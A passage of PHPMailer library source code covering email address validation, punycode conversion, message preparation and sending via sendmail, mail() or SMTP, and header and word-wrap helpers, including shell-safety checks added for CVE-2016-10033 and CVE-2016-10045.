        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

